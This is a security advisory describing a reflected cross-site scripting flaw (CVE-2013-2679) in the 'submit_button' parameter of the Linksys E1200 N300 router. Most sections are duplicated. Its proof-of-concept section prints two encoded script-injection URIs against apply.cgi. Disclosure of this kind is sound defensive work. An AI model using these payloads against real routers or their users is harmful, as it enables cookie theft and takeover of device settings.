Cisco Linksys E1200 N300 Router 'submit_button' Parameter Cross Site Scripting Vulnerability
BID:59558
Info
Cisco Linksys E1200 N300 Router 'submit_button' Parameter Cross Site Scripting Vulnerability
| Bugtraq ID: | 59558 |
| Class: | Input Validation Error |
| CVE: |
CVE-2013-2679 |
| Remote: | Yes |
| Local: | No |
| Published: | Apr 27 2013 12:00AM |
| Updated: | Jul 10 2013 02:22PM |
| Credit: | Carl Benedict |
| Vulnerable: | |
| Not Vulnerable: | |
Discussion
Cisco Linksys E1200 N300 Router 'submit_button' Parameter Cross Site Scripting Vulnerability
The Cisco Linksys E1200 N300 router is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.
Cisco Linksys E1200 N300 running firmware 2.0.04 is vulnerable.
The Cisco Linksys E1200 N300 router is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.
Cisco Linksys E1200 N300 running firmware 2.0.04 is vulnerable.
Exploit / POC
Cisco Linksys E1200 N300 Router 'submit_button' Parameter Cross Site Scripting Vulnerability
To exploit this issue an attacker must entice an unsuspecting victim into following a malicious URI.
The following example URIs are available:
http://www.example.com/apply.cgi?submit_button=%27%3b%20%3C%2fscript%3E%3Cscript%3Ealert%281%29%3C%2fscript%3E%20%27
http://www.example.com/apply.cgi?submit_button=index%27%3b%20%3c%2f%73%63%72%69%70%74%3e%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e%20%27&change_action=&submit_type=&action=Apply&now_proto=dhcp&daylight_time=1&switch_mode=0&hnap_devicename=Cisco10002&need_reboot=0&user_language=&wait_time=0&dhcp_start=100&dhcp_start_conflict=0&lan_ipaddr=4&ppp_demand_pppoe=9&ppp_demand_pptp=9&ppp_demand_l2tp=9&ppp_demand_hb=9&wan_ipv6_proto=dhcp-tunnel&detect_lang=EN&wan_proto=dhcp&wan_hostname=&wan_domain=&mtu_enable=0&lan_ipaddr_0=192&lan_ipaddr_1=168&lan_ipaddr_2=1&lan_ipaddr_3=1&lan_netmask=255.255.255.0&machine_name=Cisco10002&lan_proto=dhcp&dhcp_check=&dhcp_start_tmp=100&dhcp_num=50&dhcp_lease=0&wan_dns=4&wan_dns0_0=0&wan_dns0_1=0&wan_dns0_2=0&wan_dns0_3=0&wan_dns1_0=0&wan_dns1_1=0&wan_dns1_2=0&wan_dns1_3=0&wan_dns2_0=0&wan_dns2_1=0&wan_dns2_2=0&wan_dns2_3=0&wan_wins=4&wan_wins_0=0&wan_wins_1=0&wan_wins_2=0&wan_wins_3=0&time_zone=-08+1+1&_daylight_time=1
To exploit this issue an attacker must entice an unsuspecting victim into following a malicious URI.
The following example URIs are available:
http://www.example.com/apply.cgi?submit_button=%27%3b%20%3C%2fscript%3E%3Cscript%3Ealert%281%29%3C%2fscript%3E%20%27
http://www.example.com/apply.cgi?submit_button=index%27%3b%20%3c%2f%73%63%72%69%70%74%3e%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e%20%27&change_action=&submit_type=&action=Apply&now_proto=dhcp&daylight_time=1&switch_mode=0&hnap_devicename=Cisco10002&need_reboot=0&user_language=&wait_time=0&dhcp_start=100&dhcp_start_conflict=0&lan_ipaddr=4&ppp_demand_pppoe=9&ppp_demand_pptp=9&ppp_demand_l2tp=9&ppp_demand_hb=9&wan_ipv6_proto=dhcp-tunnel&detect_lang=EN&wan_proto=dhcp&wan_hostname=&wan_domain=&mtu_enable=0&lan_ipaddr_0=192&lan_ipaddr_1=168&lan_ipaddr_2=1&lan_ipaddr_3=1&lan_netmask=255.255.255.0&machine_name=Cisco10002&lan_proto=dhcp&dhcp_check=&dhcp_start_tmp=100&dhcp_num=50&dhcp_lease=0&wan_dns=4&wan_dns0_0=0&wan_dns0_1=0&wan_dns0_2=0&wan_dns0_3=0&wan_dns1_0=0&wan_dns1_1=0&wan_dns1_2=0&wan_dns1_3=0&wan_dns2_0=0&wan_dns2_1=0&wan_dns2_2=0&wan_dns2_3=0&wan_wins=4&wan_wins_0=0&wan_wins_1=0&wan_wins_2=0&wan_wins_3=0&time_zone=-08+1+1&_daylight_time=1
Solution / Fix
Cisco Linksys E1200 N300 Router 'submit_button' Parameter Cross Site Scripting Vulnerability
Solution:
Reportedly the issue is fixed, however Symantec has not confirmed this. Please contact the vendor for more information.
Solution:
Reportedly the issue is fixed, however Symantec has not confirmed this. Please contact the vendor for more information.
References
Cisco Linksys E1200 N300 Router 'submit_button' Parameter Cross Site Scripting Vulnerability
References:
References:
- Cisco Homepage (Cisco)